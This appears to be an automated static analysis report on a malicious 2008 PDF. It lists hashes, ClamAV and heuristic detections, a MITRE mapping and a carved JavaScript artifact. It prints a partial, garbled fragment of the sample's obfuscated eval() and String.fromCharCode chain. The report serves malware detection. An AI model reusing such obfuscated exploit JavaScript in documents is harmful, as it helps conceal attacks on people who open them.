Malicious PDF — malware analysis report

Static analysis result for SHA-256 fe9f5708cf0c8e28…

MALICIOUS

PDF

14.8 KB Created: 2008-07-26 19:43:58 Authoring application: Scribus 1.3.3.12 (via Scribus PDF Library 1.3.3.12)
MD5: 5c263bce32c4f2aa31b2b1ef4cc9adad SHA-1: 317521dd2f2cd6a4bba52ee1e65bd586ab01a51d SHA-256: fe9f5708cf0c8e283a223f9a016cc6d3a9450702fcbd993ee627e4fa1e4c0ca8
118 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript with multiple eval() calls, indicating obfuscation and likely malicious intent. The critical ClamAV detection and heuristic firings for PDF JavaScript and eval() calls strongly suggest exploitation. The script attempts to reconstruct and execute code using Math.sin and String.fromCharCode, a common technique for downloading and running further payloads. The reconstructed JavaScript string is: eval(sbZzhh=Math[lRuHsL+sdfweeweeee+lRuHsL+R9XXPgVuS+lRuHsL+i+lRuHsL+l+lRuHsL+a+lRuHsL+t+lRuHsL+h+qORgQJhVvrnRns+qORgQJhVvrnRns+.+FZqSEVy+lRuHsL+i+lRuHsL+n(n6kOr68rag,lrbr05N kqabvXKd9[lRuHsL+vTGyu[ qORgQJhVvrnRns+c+qORgQJhVvrnRns+h+qORgQJhVvrnRns+a+qORgQJhVvrnRns+r+qORgQJhVvrnRns+C+qORgQJhVvrnRns+o+qORgQJhVvrnRns+d+qORgQJhVvrnRns+R9XXPgVuS+qORgQJhVvrnRns+A+qORgQJhVvrnRns+])(fp76xii++uOiJ3l0D 217^nmrRUijrKJ7Y&255 UNbZEDR "ev"+vttv+"al(tts"+vttv+"dff[jio"+vttv+"ol]").

Heuristics 5

  • ClamAV: Pdf.Exploit.Agent-36118 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Pdf.Exploit.Agent-36118
  • eval() call high PDF_EVAL
    eval() found — commonly used for obfuscated exploit execution
  • JavaScript action low PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0013_000.js
d65f55655f55af2de59dd38ea9ebebb83d5e546ae7a665d8697ec5da398b6c41		 pdf-javascript-stream PDF /JS object 13 at offset 0x336 13613 bytes
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 3 eval/decoder/string-building token(s). Carved artifact contains 3 long base64-like blob(s).

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